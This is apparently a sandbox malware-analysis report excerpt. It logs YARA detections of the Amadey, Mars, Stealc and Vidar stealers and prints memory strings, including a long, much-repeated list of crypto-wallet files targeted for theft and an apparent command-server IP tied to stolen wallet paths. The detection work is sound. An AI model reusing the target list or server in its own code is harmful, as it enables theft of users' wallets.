Source: Amcache.hve.15.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.15.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.15.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.15.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 25.2.explorti.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.explorti.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.explorti.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.explorti.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.JDGCFBAFBF.exe.e10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.2682883781.00000000009E1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.1434730424.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1481277906.0000000000E11000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2642592451.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2038395246.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2078738506.00000000009E1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3709105416.00000000009E1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.3242863532.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3283992897.00000000009E1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.1478211877.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 0.2.file.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1433619231.0000000000921000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1436568097.0000000001B26000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2340, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.file.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1433619231.0000000000921000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2340, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1436568097.0000000001B5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 77.91.77.81ntdesk\AppData\Roaming\\Exodus\\exodus.conf.jsonN
Source: file.exe, 00000000.00000002.1436568097.0000000001B5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 77.91.77.81ntdesk\AppData\Roaming\\Exodus\\exodus.conf.jsonN
Source: file.exe, 00000000.00000002.1436568097.0000000001B5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: us.wallet\info.seco
Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1436568097.0000000001B5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 77.91.77.81ntdesk\AppData\Roaming\\Exodus\\exodus.conf.jsonN
Source: file.exe, 00000000.00000002.1436568097.0000000001B5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 77.91.77.81\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 